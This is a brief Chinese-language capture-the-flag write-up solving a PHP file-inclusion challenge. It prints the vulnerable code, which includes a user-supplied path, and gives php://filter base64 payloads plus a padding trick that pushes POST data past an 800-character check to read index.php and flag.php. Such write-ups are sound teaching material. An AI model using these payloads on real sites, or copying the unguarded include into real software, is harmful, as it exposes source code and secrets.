POC&EXP
这是一道简单包含题,考察了php://filter
和代码审计
首先可以构造payload:flag=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php
获得源码
接着代码审计
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
发现当post的数据大小超过800字时就不会出现进入if,而是会进入else,并成功出发文件包含
接着构造如下的payload即可:${800个任意字符}&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
即可获得flag